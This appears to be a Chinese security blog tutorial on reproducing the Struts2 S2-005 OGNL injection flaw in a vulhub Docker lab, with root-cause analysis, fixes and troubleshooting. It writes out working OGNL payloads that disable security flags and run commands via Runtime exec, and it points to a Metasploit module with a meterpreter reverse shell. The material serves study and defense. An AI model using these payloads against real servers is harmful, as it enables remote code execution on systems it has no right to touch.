Struts2 S2-005漏洞深度解析:从OGNL表达式注入到命令执行复现 📅 2026/6/30 18:49:24 1. 项目概述一次对经典Struts2漏洞的深度复现之旅十多年前当Struts2框架还是Java Web开发领域的主流选择时一个编号为S2-005的漏洞对应CVE-2010-1870在安全圈内掀起了不小的波澜。它不像后来的S2-045那样能直接导致远程代码执行RCE但其巧妙的利用方式和对OGNL表达式引擎的“滥用”为后续一系列Struts2漏洞的挖掘和理解奠定了重要的基础。今天我们抛开那些自动化扫描工具的黑盒报告亲手搭建一个靶场环境从源码层面一步步拆解S2-005漏洞的成因、利用条件以及修复方案。这不仅是一次漏洞复现更是一次深入理解Struts2框架参数处理机制和OGNL表达式安全边界的绝佳机会。无论你是刚入门的安全研究员还是想巩固Web安全底层知识的开发者跟着我走完这一趟你收获的将远不止一个漏洞的POC。2. 漏洞原理深度剖析OGNL表达式的“越界”访问要理解S2-005我们必须先回到Struts2的核心机制之一参数绑定与OGNLObject-Graph Navigation Language表达式。Struts2允许HTTP请求中的参数直接映射到Action类的属性上这个过程背后就是OGNL在起作用。它本是一个强大的表达式语言用于获取和设置Java对象的属性。然而强大往往伴随着风险。2.1 漏洞的根源ParametersInterceptor与不当的递归评估漏洞的核心位于Struts2的ParametersInterceptor拦截器。这个拦截器的职责是处理用户请求的参数并将其设置到对应的Action属性中。在Struts 2.0.0 到 Struts 2.1.8.1版本中ParametersInterceptor对参数值的处理存在一个关键缺陷它会对已经经过一次OGNL解析的值进行二次递归评估。想象一下这个场景你提交了一个表单其中一个字段叫user.name值为Bob。正常情况下Struts2会找到Action中的user对象并将其name属性设置为Bob。但攻击者可以提交一个精心构造的参数比如(\u0023\context[\xwork.MethodAccessor.denyMethodExecution\]\u003dfalse\)(bla)(bla)(\u0023_memberAccess[\allowStaticMethodAccess\])(bla)true这里用到了Unicode编码\u0023是#来绕过一些简单的过滤。当ParametersInterceptor第一次解析这个参数名时它可能因为某些原因如当时的安全配置未能成功执行其中的OGNL表达式。但问题在于这个被“解析过但未执行”的字符串会作为参数名的一部分被存储下来。在某些特定的配置下尤其是早期版本默认或开发人员启用了devMode等宽松设置当框架后续再次处理这些参数时会对存储的字符串进行第二次OGNL求值。这一次安全限制如MethodAccessor.denyMethodExecution可能被绕过导致其中的OGNL表达式被执行。2.2 关键利用点操纵安全上下文Security ContextS2-005漏洞利用的核心目标是修改OGNL执行上下文中的两个关键安全标志xwork.MethodAccessor.denyMethodExecution: 这个标志如果被设置为false将允许OGNL表达式执行静态方法。_memberAccess.allowStaticMethodAccess: 这个标志如果被设置为true将允许访问类的静态方法和静态字段。一旦这两个“锁”被打开攻击者就可以在OGNL表达式中调用诸如java.lang.Runtime.getRuntime().exec()这样的危险方法从而实现远程命令执行。S2-005的利用过程本质上就是通过参数名注入OGNL表达式在二次评估时修改这些安全上下文变量。2.3 与后续漏洞的关联S2-005是Struts2 OGNL注入漏洞家族中的一个重要里程碑。它揭示了框架在参数处理流程中存在的递归解析问题。后续的S2-009、S2-012等漏洞虽然触发点、利用方式略有不同但根本原因都源于对用户输入可控的OGNL表达式进行了不当的解析和执行。理解S2-005就等于拿到了打开Struts2 OGNL漏洞系列大门的第一把钥匙。注意这里描述的利用链是一种经典分析。实际利用的成功与否极度依赖于目标Struts2的具体版本、引用的Jar包版本、struts.xml中的配置特别是struts.devMode、struts.ognl.allowStaticMethodAccess等以及是否有额外的安全拦截器。这也是为什么漏洞复现需要搭建精准的靶场环境。3. 靶场环境搭建与核心配置解析“工欲善其事必先利其器”。一个精准的漏洞复现环境是理解一切的前提。我们将使用Docker来快速构建一个包含漏洞版本Struts2的Web应用这能保证环境的一致性也避免污染本地开发环境。3.1 使用Docker-Compose一键部署靶场我推荐使用现成的、经过社区验证的漏洞靶场镜像例如vulhub项目中的Struts2环境。以下是具体的操作步骤环境准备确保你的机器上已经安装了Docker和Docker-Compose。获取靶场代码从GitHub克隆vulhub仓库或直接下载对应的Struts2目录。git clone https://github.com/vulhub/vulhub.git cd vulhub/struts2/s2-005启动靶场在s2-005目录下运行一条命令即可。docker-compose up -d验证启动使用docker ps命令查看容器是否正常运行。访问http://your-ip:8080默认端口8080你应该能看到一个简单的Struts2示例页面比如一个登录框。实操心得使用Docker靶场复现历史漏洞是最高效安全的方式。vulhub项目的优势在于其环境通常还原了漏洞触发的最简条件去除了不必要的业务逻辑干扰让我们能聚焦于漏洞本身。如果8080端口被占用可以在docker-compose.yml文件中修改端口映射例如改为8090:8080。3.2 靶场应用结构与漏洞配置分析启动靶场后我们有必要了解一下这个简易应用的结构这有助于理解漏洞触发的上下文。通过Docker命令进入容器内部查看docker exec -it container_id /bin/bash你会发现这是一个典型的Java Web应用WAR包部署在Tomcat下。关键点在于WEB-INF/classes/struts.xml或相关配置文件和WEB-INF/lib/下的jar包。Struts2版本确认查看lib目录下的struts2-core-*.jar文件名确认版本在2.0.0 - 2.1.8.1之间。关键配置分析查看struts.xml重点关注以下配置constant namestruts.devMode valuetrue / constant namestruts.ognl.allowStaticMethodAccess valuetrue / !-- 这是一个危险配置可能为漏洞利用创造条件 --在早期版本中struts.ognl.allowStaticMethodAccess的默认值可能是false但很多开发文档或教程为了“方便”会显式将其设为true这大大增加了风险。S2-005的某些利用方式可能依赖于此类宽松配置。踩过的坑有时从网上下载的所谓“漏洞靶场”WAR包其struts.xml配置可能过于宽松或与实际漏洞版本不符导致复现失败。因此使用像vulhub这样权威的社区项目能省去大量排查时间。复现时务必记录下具体的Struts2核心jar包版本号。4. 漏洞复现实操从手动探测到命令执行环境就绪现在让我们化身攻击者尝试手动触发这个漏洞。我们将过程分解为探测、利用、验证三步。4.1 手动探测与漏洞验证首先我们需要一个存在漏洞的端点。靶场应用通常有一个默认的Action比如/example/HelloWorld.action。我们通过提交一个特殊的参数来探测ParametersInterceptor是否会对参数名进行递归解析。一个经典的探测Payload是尝试访问OGNL上下文?(\u0023context[\xwork.MethodAccessor.denyMethodExecution\]\u003dfalse)(bla)(bla)1参数拆解\u0023是#的Unicode编码在OGNL中用于访问上下文变量。context[xwork.MethodAccessor.denyMethodExecution]false这是一个OGNL表达式意图修改安全标志。(bla)(bla)这是一些额外的闭合括号用于满足OGNL表达式解析的语法使其被包裹在一个更大的表达式中增加被ParametersInterceptor处理的可能性。具体语法可能因版本略有差异。整个字符串作为参数名等号左边参数值为1。操作步骤使用Burp Suite或浏览器向靶场URL发送一个GET请求附加上述参数。观察响应。直接的响应内容可能没有明显变化。成功的标志不一定是页面输出而是后续的利用步骤是否成功。更可靠的探测方式是结合一个“回显”测试。例如在第一次请求注入修改denyMethodExecution的Payload后紧接着发起第二个请求尝试执行一个简单的OGNL表达式如计算11看是否能被成功执行并返回结果2。但这需要应用有输出点。注意事项早期的Struts2漏洞利用对Payload的格式非常敏感括号的匹配、引号的使用、Unicode编码的转换都必须精确。一个字符的错误就可能导致解析失败。建议在Burp Repeater中反复调试。4.2 构造利用链实现命令执行假设通过探测我们确认目标存在递归解析OGNL的问题。下一步就是构造完整的利用链实现命令执行。由于S2-005本身不能直接回显命令结果我们通常采用“盲注”的方式例如通过执行ping命令并观察目标服务器的网络请求或延迟来判断是否成功或者利用DNS外带技术。一个典型的利用Payload结构如下请注意这是一个概念性示例实际需要根据目标环境调整?(\u0023context[\xwork.MethodAccessor.denyMethodExecution\]\u003dfalse)(bla)(bla)(\u0023_memberAccess[\allowStaticMethodAccess\])(bla)true(aaa)((\u0023context[\xwork.MethodAccessor.denyMethodExecution\]\u003dfalse)(bla))(bbb)((\u0023_memberAccess[\allowStaticMethodAccess\])(bla))(c)((\u0023rt.exec(\calc.exe\))(bla))逐层解析前两部分尝试设置两个关键的安全标志为true/false。后续部分尝试执行java.lang.Runtime.getRuntime().exec(calc.exe)在Windows上弹出计算器。这里\u0023rt可能指向一个在OGNL上下文中预先定义的Runtime对象引用在某些Payload中或者需要通过完整的类名和方法调用。实际操作与调试将上述Payload作为参数发送给靶场Action。如果靶场运行在Windows主机下的Docker容器Linux内核中calc.exe不会执行。我们应该替换为Linux命令如touch /tmp/success来创建一个文件作为执行成功的标志。...(c)((\u0023rt.exec(\touch /tmp/success\))(bla))发送请求后立即进入Docker容器检查文件是否创建docker exec container_id ls -la /tmp/success如果文件存在则证明命令执行漏洞复现成功核心技巧在实际的渗透测试中面对一个黑盒系统我们很难一击即中。需要准备多个变种的Payload调整括号嵌套、引号、OGNL上下文变量名如_memberAccess在不同版本中可能有差异。使用Burp Suite的Intruder功能对Payload的各个部分进行模糊测试Fuzzing是提高成功率的关键。4.3 利用工具进行自动化验证对于日常安全巡检或红队演练我们不可能每次都手动构造如此复杂的Payload。此时成熟的漏洞利用框架就派上用场了。MetasploitMetasploit框架内置了exploit/multi/http/struts2_code_exec等模块支持S2-005等多个Struts2漏洞。只需设置好RHOSTS、RPORT、TARGETURI漏洞路径和Payload如linux/x86/meterpreter/reverse_tcp即可尝试自动化攻击。专门化的扫描器如Struts2-Scan等Python脚本集成了多个Struts2漏洞的检测与利用POC使用起来更为轻量快捷。工具使用心得自动化工具虽然方便但绝不能替代手动分析。工具可能因为目标环境细微差别而失败。手动复现的过程能让你深刻理解漏洞触发的每一个环节。工具更适合用于大规模筛查后的验证阶段。在使用Metasploit时务必注意Payload的选择要与目标系统架构兼容Linux vs. Windows。5. 漏洞修复方案与安全编码启示复现漏洞是为了更好地修复和防御。了解了S2-005的来龙去脉修复方案就非常清晰了。5.1 官方修复方案与升级指南Apache Struts官方在后续版本中修复了此漏洞。根本的修复方案是升级Struts2框架到安全版本。修复版本Struts 2.1.8.1之后的版本如2.1.92.2.x等包含了针对ParametersInterceptor递归解析问题的修复。升级步骤识别依赖检查项目pom.xmlMaven或build.gradleGradle中Struts2相关依赖的版本。更新版本号将struts2-core、xwork-core等核心组件的版本升级到官方建议的安全版本以上。注意大版本升级可能涉及API变更需要充分测试。全面测试升级后必须对应用的所有功能进行回归测试确保兼容性。重要提醒仅仅升级Struts2核心包有时并不够还需要检查项目中是否直接或间接引用了有漏洞的旧版本ognl、javassist等依赖。使用mvn dependency:tree或类似命令检查完整的依赖树。5.2 临时缓解措施与安全配置如果因为某些原因无法立即升级可以采取以下临时缓解措施收紧安全策略禁用危险配置在struts.xml中确保以下配置为false或直接删除采用默认值。constant namestruts.ognl.allowStaticMethodAccess valuefalse/ constant namestruts.devMode valuefalse/ !-- 生产环境必须为false --强化拦截器栈检查并确保使用的拦截器栈包含了严格的安全控制拦截器。可以自定义一个拦截器在ParametersInterceptor之前对参数名进行严格的格式检查过滤掉包含#、\u0023、(、)等特殊字符的请求。输入验证与过滤在Action层面或使用Servlet Filter对进入的所有参数进行严格的合法性验证拒绝包含疑似OGNL表达式的请求。5.3 对开发者的安全启示S2-005给所有使用框架的开发者上了一课理解框架原理不要只停留在“会用”的层面。了解Struts2的拦截器机制、OGNL表达式的工作原理才能预见到潜在的风险。谨慎对待默认配置框架的“开发模式”或“宽松配置”是为了方便调试绝对禁止将其带入生产环境。最小权限原则像allowStaticMethodAccess这样的配置除非有绝对必要且经过安全评审否则永远保持最严格的设置。持续关注安全动态订阅使用框架的安全邮件列表、关注CVE公告。对于Struts2这样的历史漏洞大户保持版本更新是成本最低的安全投资。6. 排查技巧与深度思考在复现和研究过程中你可能会遇到各种问题。这里分享一些排查思路和进阶思考。6.1 常见复现失败原因排查表问题现象可能原因排查步骤发送Payload后无任何效果容器内未创建文件。1. 靶场版本不对。2. Payload构造错误不符合目标版本语法。3. 拦截器配置阻止了漏洞触发。1. 确认struts2-core-*.jar的精确版本。2. 尝试使用vulhub或Metasploit中的标准Payload。3. 查看struts.xml检查是否有自定义的严格拦截器。返回500错误日志中有OGNL解析异常。Payload中的OGNL表达式语法错误或上下文变量不存在。1. 检查括号是否匹配引号是否正确。2. 查看Tomcat日志 (catalina.out或localhost.log)分析具体的OGNL异常信息。3. 尝试简化Payload先测试最基本的OGNL表达式访问。使用工具扫描提示不存在漏洞。1. 工具Payload库过时或与目标不匹配。2. 目标路径TARGETURI不正确。3. 网络防火墙或WAF拦截。1. 手动使用浏览器/Burp发送简单探测请求。2. 使用目录扫描工具如dirsearch寻找有效的Struts2 Action路径。3. 检查Burp或WAF日志看请求是否被拦截。6.2 从S2-005看安全研究的方法论手动复现一个像S2-005这样的经典漏洞价值远超得到一个“漏洞存在”的结论。对比分析法将漏洞版本和修复版本的ParametersInterceptor源码进行对比可以在GitHub上找到Struts2的历史提交。查看官方具体修改了哪几行代码这是理解漏洞根因最直接的方式。你会看到修复代码中增加了对递归解析的检查或限制。动态调试法在IDEA或Eclipse中远程调试靶场应用。在ParametersInterceptor的doIntercept方法、OGNL的parseExpression或getValue方法处设置断点。单步跟踪一个恶意参数是如何被解析、传递最终触发表达式执行的。这个过程会让你对框架数据流有刻骨铭心的认识。扩展思考S2-005利用的是参数名。那么HTTP请求的其他部分呢如Cookie头、User-Agent头、甚至HTTP方法名是否也可能被某些拦截器处理并触发类似问题这种思考方式能帮助你举一反三发现新的攻击面。我个人最深的体会是安全研究尤其是漏洞分析切忌浮躁和工具依赖。花几个小时甚至一天时间去搭建环境、跟踪调试、阅读源码弄懂一个漏洞的每一个细节这种收获是运行一百次自动化扫描也无法比拟的。S2-005虽然是一个“老”漏洞但它所蕴含的关于“递归解析”、“上下文污染”、“安全开关”的思想在今天的各种Web框架和API设计中依然以不同的形式存在着。掌握了分析它的方法你就拥有了剖析更复杂现代漏洞的底层能力。每一次这样的深度复现都是对安全工程师基本功的一次锤炼。